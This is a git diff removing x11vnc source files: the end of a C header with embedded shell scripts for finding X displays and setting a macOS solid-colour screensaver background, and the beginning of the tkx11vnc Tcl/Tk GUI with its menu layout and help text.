-" elif echo \"$curr_try\" | grep -i '^Xvfb\\>' > /dev/null; then\n"
-" try_Xvfb\n"
-" elif echo \"$curr_try\" | grep -i '^Xvfb$' > /dev/null; then\n"
-" try_Xvfb\n"
-" elif echo \"$curr_try\" | grep -i '^Xvnc\\>' > /dev/null; then\n"
-" try_Xvnc\n"
-" elif echo \"$curr_try\" | grep -i '^Xvnc$' > /dev/null; then\n"
-" try_Xvnc\n"
-" elif echo \"$curr_try\" | grep -i '^Xsrv\\>' > /dev/null; then\n"
-" try_Xsrv\n"
-" elif echo \"$curr_try\" | grep -i '^Xsrv$' > /dev/null; then\n"
-" try_Xsrv\n"
-" elif echo \"$curr_try\" | grep -i '^X\\>' > /dev/null; then\n"
-" try_X\n"
-" elif echo \"$curr_try\" | grep -i '^X$' > /dev/null; then\n"
-" try_X\n"
-" fi\n"
-" if [ \"X$result\" = \"X1\" ]; then\n"
-" echo \"DISPLAY=:$N\"\n"
-" $have_xauth -f $authfile extract - :$N\n"
-" if [ \"X$FD_EXTRA\" != \"X\" ]; then\n"
-" $have_nohup env DISPLAY=:$N sh -c \"(sleep 2; $FD_EXTRA) &\" 1>&2 &\n"
-" fi\n"
-" exit 0\n"
-" fi\n"
-"done\n"
-"\n"
-"exit 1\n"
-;
-
-char macosx_solid_background[] =
-"#!/bin/sh\n"
-"\n"
-"#set -xv\n"
-"\n"
-"# This is where the user's screen/slide savers are stored:\n"
-"#\n"
-"SS_DIR=\"$HOME/Library/Screen Savers\"\n"
-"\n"
-"if [ ! -d \"$SS_DIR\" ]; then\n"
-" exit\n"
-"fi\n"
-"\n"
-"PATH=/bin:/usr/bin:$PATH; export PATH\n"
-"\n"
-"# Check to see if our tarball has already been unpacked. If it has been\n"
-"# we don't unpack it again. This lets the user overwrite the png with\n"
-"# a different color if they want. At some point we could try to create\n"
-"# or own PPM file or something on the fly...\n"
-"#\n"
-"test_file=\"$SS_DIR/VncSolidColor.slideSaver/Contents/Resources/VncSolidColor01.png\"\n"
-"if [ ! -f \"$test_file\" ]; then\n"
-" # get the line number the tarball data starts at:\n"
-" N=`grep -n ^void_func \"$0\" | awk -F: '{print $1}' | head -n 1`\n"
-" if echo \"$N\" | grep '^[0-9][0-9]*$' > /dev/null; then\n"
-" :\n"
-" else\n"
-" exit\n"
-" fi\n"
-" N=`expr $N + 1`\n"
-"\n"
-" # pipe the bottom of this file through uudecode and tar:\n"
-" tail -n +$N \"$0\" | (cd \"$SS_DIR\" || exit 1; uudecode -o /dev/stdout | tar xzf -)\n"
-"fi\n"
-"if [ ! -f \"$test_file\" ]; then\n"
-" # some problem unpacking...\n"
-" exit\n"
-"fi\n"
-"\n"
-"# on exit or interrupt, we kill the screen saver we started:\n"
-"#\n"
-"trap 'kill -CONT $SS_PID >/dev/null 2>&1; kill -TERM $SS_PID >/dev/null 2>&1' 0 2 15\n"
-"SS_PID=9999999\n"
-"\n"
-"# start the screensaver and record its pid:\n"
-"#\n"
-"/System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background -module VncSolidColor &\n"
-"SS_PID=$!\n"
-"\n"
-"# wait a bit for it to get started...\n"
-"#\n"
-"sleep 10\n"
-"\n"
-"# loop forever waiting for some change:\n"
-"#\n"
-"while [ 1 ]\n"
-"do\n"
-" if kill -0 $SS_PID >/dev/null 2>&1; then\n"
-" :\n"
-" else\n"
-" # screen saver is gone, exit.\n"
-" break\n"
-" fi\n"
-"\n"
-" # we stop the screen saver to avoid unnecessary CPU usage\n"
-" # (it pans even though the color is solid)\n"
-" #\n"
-" kill -STOP $SS_PID >/dev/null 2>&1\n"
-"\n"
-" # check every 5 seconds:\n"
-" sleep 5\n"
-"\n"
-" if [ \"X$SS_WATCH_PID\" != \"X\" ]; then\n"
-" if kill -0 $SS_WATCH_PID >/dev/null 2>&1; then\n"
-" :\n"
-" else\n"
-" # watch pid (x11vnc) is gone, exit.\n"
-" break\n"
-" fi\n"
-" fi \n"
-"done\n"
-"\n"
-"exit 0\n"
-"\n"
-"# This contains the directory VncSolidColor.slideSaver directory\n"
-"# with a single png (with solid color)\n"
-"#\n"
-"void_func() {\n"
-"begin 644 vsc.tar.gz\n"
-"M'XL(`$+,#TD``^V706_32!2`714*%)!6@@,@D*9!2,NAMB=V;+9*4Y(X+1%M\n"
-"M&NJT`B'06O;$]=:QC3UIVA,5)T#\\`M0+?P!QWE-7NQ*'E?;`826N'.\"`]@\\L\n"
-"M%YZ3\"*EI32ATLR#FDYR)Q^^]&<][;^9YR3-UWW6LHN_Z(1_!/Z(;JR04N/U#\n"
-"M!-1,IM.J8KL5TW*G[<!AC$5)E66<D3@1RXHJ<RBSCW-(I!E1(T2(\"YN>33XB\n"
-"M!V+U^B`F-%B6DOQ?]#U*/!KM0R#LP?]I6<3@?T56).;_0=#?_V6O[O.!ZT3T\n"
-"M<\\>(':S(<I+_L:2F/_A?4B!.TJ(LJQP2]_-%D_C._9^=6FNX\"!P>.;XWF<*\\\n"
-"MF$+$,WW+\\>S)U&)M>OQ2:BHWFAW3YHNU&]42:D<\"JBX69LM%E!H7A'P0N$00\n"
-"MM)J&JK-EO8;`AB\"4*BF46J8TF!\"$5JO%&[$4;_J-6#`2JJ$?D)\"NSX*Q<5#@\n"
-"M+6JE8)B.]6W3@5[+,6EN]$AVA:SGBM.%IF>Y1\".KQ/6#!L3H`K%!.BO$CT$J\n"
-"MHB%,/E?R;#\"VG!6Z]SWZ,X3&D:VW'_;JME,\"F7%.H,@,\"?%0%&<%:OA6TR6H\n"
-"M#OU+E6*2[;(%LW+J#@E[#<,\"=)>B8[9ME=^6A(E&8;8:+`2\\JA&N+W66J->^\n"
-"MPHM)^A6C07K%I_V01#1)HVJ8*X9-:NO!#L5\"19M-4M.7_9!VY[?[\\F(>)RH[\n"
-"MMF?09KACQ\"D@22EA,;8-DQ4Z4905VC&6&_V_,^_KH/_^OT`BOQF:Y/,K@;W4\n"
-"M?QG<W?\\S[/P?!'OQ_S99$?.!9W_2&'W.?X@-M>M_J`324/]#%2A+[/P?!`^J\n"
-"ME9GCHV?BW?!X^8JV`.U&?!T>@=_?<\\:?T!RP\\W-YCGLY7/A[_@G<'PFNW(@X\n"
-"M[NB)^!KB'F^>@LXQ6KI.=;].6T9(N&M-QURI.0V\",G\"X*^C'.<.<UR]ROSXL\n"
-"MG07A0[0\\5SKTXL\"9DQ,7+Z2OPEA#U\\I:OK:V^<\\+/+2%N*UG.+K^&_=O?F3F\n"
-"MQ,')B=>WWYQ_>_?<ULV1^]+ES:%7QWZP-RX-_W$:_<7=85V[=]V*IH?//WK^\n"
-"M\\EWLYG*IHCTM_'QOA__[YW^W&/N\"3X\"^^0_??%A4U(R\"TZJD0/[C-*O_!\\,W\n"
-"M5_\\7FHYK)11\\JB3])T7II]27'0UXKU^(27>KM?5V;BW[K:A726^?KPF#_!1G\n"
-"?\"\"MC&0P&@\\%@,!@,!H/!8#`8#,;>>0_24O15`\"@`````\n"
-"`\n"
-"end\n"
-"}\n"
-;
-
-#endif /* _SSLTOOLS_H */
diff --git a/x11vnc/tkx11vnc b/x11vnc/tkx11vnc
deleted file mode 100755
index c87d753..0000000
--- a/x11vnc/tkx11vnc
+++ /dev/null
@@ -1,7335 +0,0 @@
-#!/bin/sh
-# the next line restarts using wish. \
-exec wish "$0" "$@"
-catch {rename send {}}
-#
-# Copyright (C) 2004-2009 Karl J. Runge <runge@karlrunge.com>
-# All rights reserved.
-#
-# This is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This software is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this software; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-# USA.
-
-#
-# tkx11vnc v0.2
-# This is a simple frontend to x11vnc. It uses the remote control
-# and query features (-remote/-query aka -R/-Q) to interact with it.
-# It is just a quick-n-dirty hack (it parses -help output, etc), but
-# it could be of use playing with or learning about the (way too) many
-# parameters x11vnc has.
-#
-# It can be used to interact with a running x11vnc (see the x11vnc
-# -gui option), or to set the parameters and then start up x11vnc.
-#
-
-#
-# Below is a simple picture of how the gui should be laid out and how
-# the menus should be organized. Most menu items correspond to remote
-# control commands. A trailing ":" after the item name means it is a string
-# to be set rather than a boolean that can be toggled (e.g. the entry
-# box must be used).
-#
-# Some tweak options may be set in the prefix "=" string.
-# A means it is an "Action" (not a true variable)
-# R means it is an action only valid in remote mode.
-# S means it is an action only valid in startup mode.
-# Q means it is an action worth querying after running.
-# P means the string can be +/- appended/deleted (string may not
-# be the same after the remote command)
-# G means gui internal item
-# F means can be set via file browse
-# D means for simple gui
-# -C:val1,... means it will be a checkbox (radio button)
-# the "-" means no other options follow
-# 0 means to skip the item.
-# -- means add a separator
-#
-# The =GAL ... =GAL LOFF stuff is to provide submenus.
-#
-
-global env started time_count
-set started ""
-proc dtime {{msg ""}} {
- global started time_count
- if {$started == ""} {
- return
- }
- set diff [expr "[exec gtod.bin] - $started"]
- set diff [format "%.2f" $diff]
- incr time_count
- if {$msg == ""} {
- set msg $time_count
- }
- puts -nonewline stderr "$msg $diff "
- puts stderr [clock format [clock seconds]]
-}
-
-if [info exists env(X11VNC_GUI_TIME)] {
- global started time_count
- set started [exec gtod.bin]
- set time_count 0
- dtime "S"
-}
-
-proc set_template {} {
- global template
- set template "
-Row: Actions Clients Permissions Keyboard Pointer Help
-Row: Displays Screen Tuning Debugging Misc
-
-Actions
- =SA start
- =RA stop
- --
- =DSA attach
- =DRA detach
- --
- =RA ping
- =RA update-all
- =GAL Settings::
- =GA save-settings
- =SFA load-settings:
- =SA defaults-all
- =0SA clear-all
- --
- =F rc:
- norc
- =GAL LOFF
- -- D
- =DRA stop+quit
- =DGA Quit
-
-Help
- =DGA gui
- =DGA all
-
-Clients
- =DRQA current:
- =DF connect:
- =DRQA disconnect:
- --
- accept:
- afteraccept:
- gone:
- vncconnect
- zeroconf
- -- D
- tightfilexfer
- ultrafilexfer
- proxy:
- =GAL Chat::
- chatwindow
- =DRA chaton
- =DRA chatoff
- =GAL LOFF
- =GAL Java-applet::
- =D http
- httpdir:
- httpport:
- https:
- httpsredir:
- enablehttpproxy
- =GAL LOFF
-
-Displays
- =D display:
- =F auth:
- =S reflect:
- =D desktop:
- =D rfbport:
- =S autoport:
- =0 gui:
-
-Screen
- =DRA refresh
- =RA reset
- =RA blacken
- -- D
- =D scale:
- scale_cursor:
- --
- =D solid
- solid_color:
- --
- =GAL OverlayVisuals::
- overlay
- overlay_nocursor
- 8to24
- 8to24_opts:
- =GAL LOFF
- =GAL 8-Bit-Color::
- flashcmap
- shiftcmap:
- notruecolor
- =GAL LOFF
- =GAL SubWindow::
- id:
- sid:
- =RA id_cmd:
- =GAL LOFF
- =GAL ResizeRotate::
- = xrandr
- =-C:resize,newfbsize,exit xrandr_mode:
- rotate:
- padgeom:
- =GAL LOFF
- =GAL Clipping::
- =P blackout:
- xinerama
- clip:
- =GAL LOFF
- =GAL Misc-Screen::
- fixscreen:
- visual:
- rawfb:
- pipeinput:
- uinput_accel:
- uinput_reset:
- uinput_always:
- 24to32
- =GAL LOFF
-
-Keyboard
- =D norepeat
- =D add_keysyms
- modtweak
- xkb
- --
- capslock
- skip_lockkeys
- --
- skip_keycodes:
- skip_dups
- sloppy_keys
- --
- =FP remap:
- clear_mods
- clear_keys
- clear_all
- =RA clear_locks
-
-Pointer
- =D-C:none,arrow,X,some,most cursor:
- =-C:1,2,3,4,5,6 arrow:
- --
- cursorpos
- =D nocursorshape
- --
- noxfixes
- cursor_drag
- =GAL AlphaBlending::
- noalphablend
- alphacut:
- alphafrac:
- alpharemove
- =GAL LOFF
- --
- buttonmap:
- --
- xwarppointer
- always_inject
-
-Misc
- =GD-C:full,icon,tray WindowView:
- =GD simple-gui
- -- D
- =GA all-settings
- =RA remote-cmd:
- =GAL Selection::
- =D nosel
- noprimary
- nosetprimary
- noclipboard
- nosetclipboard
- seldir:
- =GAL LOFF
- =GAL X-ext::
- xtrap
- noxrecord
- =RQA reset_record
- =GAL LOFF
- =GAL MacOSX::
- macnosaver
- macnowait
- macwheel:
- macnoswap
- macnoresize
- maciconanim:
- macmenu
- =GAL LOFF
- --
- 6
- noipv6
- noipv4
- --
- nofb
- =D nobell
- nolookup
- rfbversion:
- bg
- =S loop
- =S loopbg
- =S sleepin:
- =-C:ignore,exit sigpipe:
- =0 inetd
-
-Debugging
- debug_pointer
- debug_keyboard
- =F logfile:
- =GA show-logfile
- =GA tail-logfile
- quiet
- --
- =GA show-start-cmd
- =DG debug_gui
- =GAL Misc-Debug::
- debug_xevents
- debug_xdamage
- =-C:0,1,2,3 debug_wireframe:
- debug_scroll
- debug_tiles
- debug_grabs
- debug_sel
- debug_ncache
- dbg
- =GAL LOFF
-
-Permissions
- =DRQA lock
- =DRQA unlock
- =D shared
- =D forever
- --
- =DFP allow:
- =D localhost
- =RA allowonce:
- listen:
- -- D
- =D viewonly
- input:
- --
- =GAL Passwords::
- passwd:
- viewpasswd:
- =F passwdfile:
- =F rfbauth:
- usepw
- --
- unixpw
- unixpw_list:
- unixpw_nis
- unixpw_nis_list:
- =0 storepasswd
- =GAL LOFF
- =GAL SSL::
- ssl
- =F ssl_pem:
- stunnel
- =F stunnel_pem:
- =F ssldir:
- =F sslverify:
- ssltimeout:
- --
- enc:
- =GAL LOFF
- =GAL Misc-Perms::
- safer
- unsafe
- =RA noremote
- =0S alwaysshared
- =0S nevershared
- =0S dontdisconnect
- =SQA deny_all
- timeout:
- grabkbd
- grabptr
- grabalways
- grablocal:
- forcedpms
- clientdpms
- noserverdpms
- noultraext
- =GAL LOFF
-
-Tuning
- =D-C:0,1,2,3,4 pointer_mode:
- input_skip:
- allinput
- =D nodragging
- -- D
- speeds:
- =D wait:
- defer:
- =D nap
- screen_blank:
- --
- =GAL WireFrame::
- wireframe
- wireframe_mode:
- =-C:never,top,always wirecopyrect:
- =GAL LOFF
- =GAL ScrollCopyRect::
- =-C:never,keys,mouse,always scrollcopyrect:
- scr_area:
- scr_skip:
- scr_inc:
- scr_keys:
- scr_term:
- scr_keyrepeat:
- scr_parms:
- =GAL LOFF
- =GAL XDAMAGE::
- xdamage
- xd_area:
- xd_mem:
- =GAL LOFF
- =GAL Ncache::
- ncache
- ncache_size:
- ncache_cr
- ncache_no_moveraise
- ncache_no_dtchange
- ncache_old_wm
- ncache_no_rootpixmap
- ncache_keep_anims
- ncache_pad:
- =RA ncache_reset_rootpixmap
- =GAL LOFF
- --
- =GAL SharedMemory::
- noshm
- flipbyteorder
- onetile
- =GAL LOFF
- =GAL Misc-Tuning::
- progressive:
- fs:
- gaps:
- grow:
- fuzz:
- extra_fbur:
- wait_ui:
- setdefer:
- nowait_bog
- slow_fb:
- xrefresh:
- readtimeout:
- snapfb
- threads
- wmdt:
- rfbwait:
- nodpms
- nofbpm
- =GAL LOFF
-"
-}
-
-proc set_internal_help {} {
- global helptext helpall
-
- # set some internal item help here:
- set helptext(start) "
-Launch x11vnc with the settings you have prescribed in the gui.
-The x11vnc process is started in an xterm window so you can see the
-output, kill it, etc.
-
-By viewing this help item, the command built so far will be displayed
-in the gui text area. Have a look. If you Press start it will be shown
-as well and you will be asked to confirm running it.
-
-If you want to use a saved profile \"rc file\" you can do \"Misc -> rc\" and
-select the file and simply start x11vnc using the rc file. Alternatively,
-you could first use the \"Actions -> load-settings\" action to load in
-an \"rc file\" and then press \"Actions -> start\" to start up x11vnc
-based on those values.
-"
- set helptext(stop) "
-The \"Actions -> stop\" action sends a signal to the running x11vnc
-server indicating it should shutdown all connections and exit.
-
-The GUI stays running in case you want to start a new x11vnc or attach
-to another one. Use \"Actions -> Quit\" if you then want to have the
-gui exit. Use \"Actions -> stop+quit\" to have both exit at once.
-"
-
- set helptext(show-start-cmd) "
-Displays in the text area what the x11vnc start command (i.e. the command
-run by \"Actions -> start\") looks like for the current values of the
-settings. This can be done even in the attached state. Intended for
-debugging the gui. The help item for \"Actions -> start\" gives the
-same info.
-
-If you want to load in a saved profile \"rc file\" use \"Misc -> rc\"
-and select the file. \"Actions -> load-settings\" does a similar thing
-with an rc-file, but reading the file and setting the gui variables to
-its values.
-"
-
- set helptext(debug_gui) "
-Set debug_gui to get more output printed in the text area.
-"
-
- set helptext(detach) "
-No longer be associated with the x11vnc server. Switch to the
-non-connected state. The x11vnc server keeps running: it does not exit.
-
-You can either later reattach to it \"Actions -> attach\", or start
-up a new x11vnc \"Actions -> start\", or exit \"Actions -> Quit\".
-"
-
- set helptext(attach) "
-Attach to a running x11vnc server, if possible. Switches to connected
-state if successful. Usually the channel used to attach is via the X
-display (VNC_CONNECT rootwin property) being polled by the x11vnc server.
-To change or set the X display to use do \"Displays -> display\".
-
-Sometimes the \"-connect /path/to/filename\" is used as the communcation
-channel. The running x11vnc has to know that \"/path/to/filename\"
-is the communication channel (i.e. it is using the same -connect option).
-"
-
- set helptext(ping) "
-Check if x11vnc still responds to \"ping\" remote command.
-"
-
- set helptext(update-all) "
-Query the x11vnc server for the current values of all variables.
-Populate the values into the gui's database.
-
-Normally the gui will refresh this info every time it interacts with
-the x11vnc server (including after a few minutes of inactivity), so one
-doesn't need to use this action very often (unless something else is
-changing the state of the x11vnc server, or new clients have connected,
-etc).
-"
-
- set helptext(clear-all) "
-Forget any variable settings either entered in by you or set at the
-default. Basically sets everything to 0 or the string (unset).
-
-This action is only available in \"startup\" mode, not when connected
-to a running x11vnc server (in that case the variable settings reflect
-the state of the running x11vnc). To detach from a running x11vnc
-server use \"Actions -> detach\"; to completely stop the x11vnc server
-use \"Actions -> stop\".
-"
-
- set helptext(defaults-all) "
-Reset all variable settings to the default values. Basically sets
-everything to the default queries \"x11vnc -QD var\" retrieved at startup.
-
-This action is only available in \"startup\" mode, not when connected
-to a running x11vnc server (in that case the variable settings reflect
-the state of the running x11vnc). To detach from a running x11vnc
-server use \"Actions -> detach\"; to completely stop the x11vnc server
-use \"Actions -> stop\".
-"
-
- set helptext(load-settings) "
-Read in the \"rc file\" you prescribe in the dialog and then set the
-variables to those in the rc-file. Any variables not mentioned in the
-rc-file are set to their default value.
-
-You could then do \"Actions -> start\" to start x11vnc with these
-parameters. Or you could make some further changes to variables
-using the gui before starting x11vnc.
-
-This action is only available in \"startup\" mode, not when connected
-to a running x11vnc server (in that case the variable settings reflect
-the state of the running x11vnc). To detach from a running x11vnc
-server use \"Actions -> detach\"; to completely stop the x11vnc server
-use \"Actions -> stop\".
-"
-
- set helptext(save-settings) "
-Construct a ~/.x11vncrc file based on the current settings and
-offer to save it in a file (default ~/.x11vncrc). If saved in a
-file other than the default, you can access the profile by using
-the \"-rc <filename>\" option when starting x11vnc.
-
-If an rc file entry begins with \"#d\" that means the current
-setting is at the Default value and so you probably want to leave
-it commented out with the \"#\" character.
-
-If an rc file entry begins with \"#?\" that means we think
-you probably do not really want to force the value to this setting.
-
-In either case, feel free to uncomment the line and/or change any
-of the parameter values in the file.
-"
-
- set helptext(all-settings) "
-Displays the gui's database of all of the x11vnc server's current
-settings. Use \"Actions -> update-all\" or \"Control+R\" to
-refresh this list if it ever gets out of sync.
-"
-
- set helptext(remote-cmd) "
-Run a remote command (-R) or query (-Q) directly. Only a few
-remote commands are not on a menu, but for those few you can
-run the command directly this way. Just enter the command into
-the Entry box when prompted. Use the prefix \"Q:\" to indicate
-a -Q query. Examples: \"zero:20,20,100,100\", \"Q:ext_xfixes\"
-"
-
- set helptext(stop+quit) "
-Send the stop command to the x11vnc server, then terminate the tkx11vnc gui.
-"
-
- set helptext(show-logfile) "
-View the current contents of the logfile (if it exists and is accessible
-by the gui process).
-"
-
- set helptext(tail-logfile) "
-Run the tail(1) command with -f option on the logfile in an xterm.
-(if it exists and is accessible by the gui process).
-"
-
- set helptext(Quit) "
-Terminate the tkx11vnc gui. Any x11vnc server will be left running.
-"
-
- set helptext(current) "
-Shows a menu of currently connected VNC clients on the x11vnc server.
-
-Allows you to find more information about them, change their input
-permissions, or disconnect them.
-
-Note that the File transfer permission only applies to UltraVNC
-file transfer, not TightVNC file transfer.
-
-You will be prompted to confirm any disconnections.
-"
-
- set helptext(client) "
-After selecting a VNC client from the \"Clients -> current\" menu,
-you will be presented with a dialog that shows the information
-about the VNC client.
-
-You can choose to disconnect the client by clicking on the
-\"Disconnect\" checkbox and pressing \"OK\". There will be a
-confirmation dialog to doublecheck.
-
-Alternatively, you can fine tune the VNC client's input permissions
-by selecting any of the Keystrokes, Mouse-Motion, Button-Click,
-Clipboard-Input, or Files checkboxes and pressing \"OK\". This is like
-the \"-input\" option but on a per-client basis.
-
-To not change any aspects of the VNC client press \"Cancel\".
-"
-
- set helptext(solid_color) "
-Set the -solid color value.
-"
-
- set helptext(xrandr_mode) "
-Set the -xrandr mode value.
-"
-
- set helptext(unixpw_list) "
-Set the -unixpw usernames list value.
-"
-
- set helptext(unixpw_nis_list) "
-Set the -unixpw_nis usernames list value.
-"
-
- set helptext(stunnel_pem) "
-Set the -stunnel pem filename value.
-"
-
- set helptext(ssl_pem) "
-Set the -ssl pem filename value.
-"
-
- set helptext(wireframe_mode) "
-Set the -wireframe mode string value.
-"
-
- set helptext(simple-gui) "
-Toggle between menu items corresponding the most basic ones
-and all possible settings. I.e. toggle between a simple gui
-and one for power users.
-"
-
- set helptext(Tray) "
-The tray/icon mode (started with \"x11vnc -gui tray ...\", etc.) presents
-a small icon that indicates the status of the running x11vnc server.
-
-Depending on your environment, this icon may be embedded in a system
-tray or applet dock, or simply be a standalone window. \"-gui tray\"
-will attempt to embed the icon in the system tray, while \"-gui icon\"
-is for a standalone window. Use \"-gui tray=setpass\" (or icon=setpass)
-to be prompted to set the session password at startup.
-
-When the icon has a light background, that means no VNC viewers are
-currently connected to the VNC display.
-
-When the icon has a dark background (i.e. reverse-video), that means at
-least one VNC viewer is connected to the VNC display.
-
-Moving the mouse pointer over the icon will popup a \"status balloon\"
-indicating the VNC display name and the names and info of any connected VNC
-viewers. Press the middle mouse button if the balloon does not appear.
-
-Clicking the left or right mouse button on the icon displays a menu
-of actions:
-
- Properties - Brings up the Properties dialog to set some basic
- parameters. The full tkx11vnc GUI may be accessed
- via the \"Advanced ...\" button. Press \"Help\"
- in the Properties dialog for more info.
-
- Help - Displays this help text.
-
- New Client - Presents an entry box where you type in the name
- of a computer that is running a VNC viewer in
- \"listen\" mode (e.g. vncviewer -listen). For a
- non-standard listening port use \"host:port\".
-
- Pressing \"OK\" will initiate the reverse
- connection. Use a blank hostname to skip it.
-
- Disconnect - Shows a popup menu of connected clients. Click on
- one to disconnect it, or click on \"All Clients\"
- disconnect all clients.
-
- Window View - Switch between the \"full\" gui (also known as
- \"Advanced\"), \"icon\" mode (small icon window with
- popups), or \"tray\" mode (small icon embedded in the
- system tray). This is a shortcut for the action:
- \"Properties -> Advanced -> Misc -> WindowView\".
-
- Stop x11vnc - Directs the x11vnc server to disconnect all vncviewers
- and then exit. The tray/icon GUI then exits as well.
-
- Logfile - Show the logfile if x11vnc is being run with one.
-
- Custom - If you have a \$HOME/.x11vnc.gui file each uncommented
- line in it becomes an additional menu item for this
- menu. The remote control command is run directly
- via \"x11vnc -R <command>\", or if prefixed with
- \"action:\" runs a gui internal action, or if \"sep\"
- adds a separator. Set X11VNC_CUSTOM_GUI to use
- a different filename. Example file contents:
-
- scale:3/4
- scale:1
- scale_cursor:1
- sep
- action:all-settings
- #debug_keyboard
- sep
- action:Quit
-
-Termination:
-
-If the x11vnc server stops for any reason, the tray/icon gui will exit.
-
-If you delete the tray/icon (e.g. X out button), that is the same
-as the \"Stop x11vnc\" action in the menu. (This will disconnect any
-VNC viewer you are currently using to access the display since the
-x11vnc server is terminated).
-
-To terminate the tray/icon gui window but not the x11vnc server press
-Control-C on the tray/icon window. You can also do this (and much
-more) via Properties -> Advanced -> Actions -> Quit
-"
-
- set helptext(NewClient) "
- New Client - Presents an entry box where you type in the name
- of a computer that is running a VNC viewer in
- \"listen\" mode (e.g. vncviewer -listen). For a
- non-standard listening port use \"host:port\".
-
- Pressing \"OK\" will initiate the reverse
- connection. Use a blank hostname to skip it, or
- delete (\"X-out\") the window.
-
-"
-
- set helptext(Properties) "
-The Properties dialog allows you to set some basic parameters of a
-running x11vnc server. After modifying them press \"OK\" or \"Apply\"
-to apply the changes, or press \"Cancel\" to skip applying them.
-
- Accept Connections:
-
- Toggles whether VNC viewers are allowed to connect or not. It corresponds
- to the \"-R unlock\" and \"-R lock\" remote-control commands.
-
- Ask for Confirmation:
-
- Toggles whether a popup menu will be presented at the X display when
- a new VNC viewer attempts to connect. The person sitting at the X
- display can choose to accept or reject the connection or accept the
- connection in ViewOnly mode. It corresponds to the \"-R accept:popup\"
- and \"-R accept:\" remote-control commands.
-
- All Clients ViewOnly:
-
- Toggles whether the entire VNC desktop is view only. All clients
- will only be able to watch when this is set (regardless of how they
- logged in). It corresponds to the \"-R viewonly\" and \"-R noviewonly\"
- remote-control commands.
-
- Shared:
-
- Toggles whether multiple simultaneous viewer connections are allowed
- or not. It corresponds to the \"-R shared\" and \"-R noshared\"
- remote-control commands.
-
- Advertise Service (Zeroconf):
-
- Toggles whether this VNC server should advertize itself via Zeroconf
- (also called Bonjour, mDNS, and avahi). Then VNC viewers can then find
- this service on the local network. It corresponds to the \"-R zeroconf\"
- and \"-R nozeroconf\" remote-control commands.
-
- Serve Java Viewer Applet:
-
- Toggles whether this VNC server should serve up a Java VNC Viewer
- applet via HTTP on http://hostname:5800/ (or port 5800+n for VNC
- port 5900+n). A java enabled Web Browser can then connect to the
- desktopby VNC. If SSL is active then the HTTPS URL https://hostname:5900/
- (etc.) will work as well. This requires the x11vnc java viewer jar file
- (shared/x11vnc/classes) to be installed. It corresponds to the
- \"-R http\" and \"-R nohttp\" remote commands.
-
- Solid Background Color:
-
- To improve VNC performance, if this option is set, then x11vnc will try
- to make the desktop background a solid color (which compresses extremely
- well compared to photo images, etc.) It corresponds to the \"-R solid\"
- and \"-R nosolid\" remote commands.
-
- Password:
-
- Lets you set the session password viewers may use to gain full access
- to the display. This will only work if x11vnc was started with the
- -gui icon or -gui tray mode.
-
- ViewOnly Password:
-
- Lets you set the session password viewers may use to gain view only
- access to the display. This will only work if x11vnc was started with
- the -gui icon or -gui tray mode.
-
-
- NOTE: These \"session\" passwords only last for the current x11vnc
- session (they are not remembered, see the -storepasswd, -passwdfile,
- and -rfbauth x11vnc options for using stored passwords).
-
- If you set \"Password\" to the empty string that makes the \"ViewOnly
- Password\" empty as well and removes the need for any password to log in.
-
- If you set \"ViewOnly Password\" to the empty string that just removes
- the ViewOnly log in aspect: \"Password\" is still required to log in.
-
- - The \"Help\" button shows this help text.
-
- - The \"Advanced ...\" button replaces the Properties dialog with the full
- tkx11vnc GUI. All dynamic settings can be modified in the full GUI.
-
-
-==========================================================================
-
-Don't Lock Yourself Out:
-
- If you are sitting at the physical X display you cannot get into too
- much trouble setting the Properties dialog values.
-
- However IF you are using a VNC Viewer to REMOTELY access the X display
- some items in the Properties dialog can lock you out of further access:
-
- \"Accept Connections\" if you disable this remotely, and
- accidentally disconnect your VNC viewer then you will not be
- able to reconnect.
-
- \"Ask for Confirmation\" if you enable this only someone
- sitting at the X display can confirm any new VNC connections.
- Furthermore, any current VNC viewers will be blocked while
- waiting for the confirmation (times out in 120 sec by default).
-
- \"All Clients ViewOnly\" if you enable this remotely, well
- you can no longer provide input to disable it.
-
- If you do lock yourself out you could log in remotely and start up
- a second x11vnc and connect to that one to try to fix things in the
- first one.
-
- Note that if there are two or more x11vnc's on the same display the
- use of the GUI may be ill-behaved. Terminate the second x11vnc as
- soon as you have fixed the setting in the first one. Use of a remote
- control command, e.g. \"x11vnc -R noviewonly\" or \"x11vnc -R unlock\"
- is a good way to avoid this problem.
-"
-
- set helptext(all) $helpall
-
- set helptext(Misc-Tuning:) "
-x11vnc has what seems like hundreds of tuning parameters! In this
-sub-menu we place some lesser used ones. Most likely you'll want to
-leave them at their default values, but you can try them out quickly
-with the gui to see if they improve things.
-"
-
- set helptext(Passwords:) "
-The items in this sub-menu pertain to setting passwords. Note that x11vnc
-has two types of password files: RealVNC-style ones (you can create them
-with x11vnc -storepasswd or other VNC utility program) you use these
-via -rfbauth; and plain-text file passwords you use via -passwdfile.
-
-Normally passwords cannot be changed by remote-control (e.g. the gui),
-but for the case of the \"Icon\" and \"Tray\" modes this constraint has
-been relaxed.
-
-In neither the RealVNC-style nor the plain-text file cases should the
-password files be readable by users you do not want to access the VNC
-server. Contrary to popular belief, the RealVNC-style passwords are
-not encrypted, merely obscured.
-
-x11vnc has the even less secure -passwd and -viewpasswd supplied on
-the command line. Be careful with these since they could be read by
-users with something like the ps(1) command. On some operating systems
-x11vnc tries to quickly overwrite them on the command line but it doesn't
-work everywhere.
-
-Regarding ViewOnly passwords (where a VNC client using that password
-can only watch the screen, not interact with it), this is not available
-with -rfbauth, but only with -passwdfile, -passwd, and -viewpasswd.
-"
-
- set helptext(SSL:) "
-In this sub-menu we provide the options related to SSL encrpytion
-and authentication.
-
-There is a built-in mode (-ssl) using the OpenSSL library, and a 2nd
-using the external stunnel program (-stunnel, that needs to be installed
-on the system). Either may require or benefit from having PEM certificate
-files specified.
-
-"
-
- set helptext(Misc-Perms:) "
-In this sub-menu we provide some lesser used permission options.
-
-Regarding -alwaysshared, -nevershared, and -dontdisconnect, you probably
-should never use them and just use x11vnc's -shared and -forever options
-instead (these give basically the same functionality and if you mixed
